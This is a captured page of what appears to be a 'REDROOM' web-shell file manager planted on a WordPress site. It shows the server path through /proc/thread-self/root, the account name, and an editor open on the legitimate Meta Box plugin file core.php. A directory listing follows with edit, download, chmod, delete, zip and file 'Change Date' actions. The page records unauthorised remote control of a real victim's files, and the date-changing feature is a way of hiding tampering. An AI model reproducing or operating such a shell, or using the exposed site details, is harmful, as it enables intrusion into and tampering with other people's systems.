REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 2.81 KB
Close
/proc/thread-self/root/home/byroehnu/geniuskidsacademy.org/wp-content/plugins/meta-box/inc/core.php
Text
Base64
<?php class RWMB_Core { public function init() { add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 ); // Uses priority 20 to support custom port types registered using the default priority. add_action( 'init', [ $this, 'register_meta_boxes' ], 20 ); add_action( 'edit_page_form', [ $this, 'fix_page_template' ] ); $this->add_context_hooks(); } public function plugin_links( array $links ): array { $links[] = '<a href="https://docs.metabox.io?utm_source=plugin_links&utm_medium=link&utm_campaign=meta_box" target="_blank">' . esc_html__( 'Docs', 'meta-box' ) . '</a>'; $utc_timezone = new DateTimeZone( 'UTC' ); $now = new DateTime( 'now', $utc_timezone ); $sale_end = new DateTime( '2025-12-02 00:00:00', $utc_timezone ); if ( $now < $sale_end ) { $links[] = '<a href="https://metabox.io/black-friday/?utm_source=plugin_links&utm_medium=link&utm_campaign=black_friday" target="_blank" style="color: #39b54a; font-weight: bold">' . esc_html__( 'Black Friday Sale', 'meta-box' ) . '</a>'; } return $links; } public function register_meta_boxes() { $configs = apply_filters( 'rwmb_meta_boxes', [] ); $registry = rwmb_get_registry( 'meta_box' ); foreach ( $configs as $config ) { if ( ! is_array( $config ) || empty( $config ) ) { continue; } $meta_box = $registry->make( $config ); $meta_box->register_fields(); } } /** * WordPress will prevent post data saving if a page template has been selected that does not exist. * This is especially a problem when switching themes, and old page templates are in the post data. * Unset the page template if the page does not exist to allow the post to save. */ public function fix_page_template( WP_Post $post ) { $template = get_post_meta( $post->ID, '_wp_page_template', true ); $page_templates = wp_get_theme()->get_page_templates(); // If the template doesn't exists, remove the data to allow WordPress to save. if ( ! isset( $page_templates[ $template ] ) ) { delete_post_meta( $post->ID, '_wp_page_template' ); } } /** * Get registered meta boxes via a filter. * @deprecated No longer used. Keep for backward-compatibility with extensions. */ public static function get_meta_boxes(): array { $meta_boxes = rwmb_get_registry( 'meta_box' )->all(); return wp_list_pluck( $meta_boxes, 'meta_box' ); } public function add_context_hooks() { $hooks = [ 'edit_form_top', 'edit_form_after_title', 'edit_form_after_editor', 'edit_form_before_permalink', ]; foreach ( $hooks as $hook ) { add_action( $hook, [ $this, 'render_meta_boxes_for_context' ] ); } } public function render_meta_boxes_for_context( $post ) { $hook = current_filter(); $context = 'edit_form_top' === $hook ? 'form_top' : substr( $hook, 10 ); do_meta_boxes( null, $context, $post ); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 5 × Files: 15
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
fields
DIR
-
drwxr-xr-x
2026-03-16 08:30:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
helpers
DIR
-
drwxr-xr-x
2026-03-16 08:30:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
interfaces
DIR
-
drwxr-xr-x
2026-03-16 08:31:02
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
storages
DIR
-
drwxr-xr-x
2026-03-16 08:30:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
walkers
DIR
-
drwxr-xr-x
2026-03-16 08:30:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
autoloader.php
1.49 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
clone.php
3.51 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
core.php
2.81 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
field-registry.php
1.63 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
field.php
17.90 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
functions.php
9.50 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
loader.php
4.03 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
media-modal.php
3.09 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
meta-box-registry.php
1.27 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
meta-box.php
12.38 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
request.php
2.35 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
sanitizer.php
8.24 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
shortcode.php
2.54 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
storage-registry.php
418 B
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
validation.php
2.59 KB
lrw-r--r--
2026-02-04 08:59:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).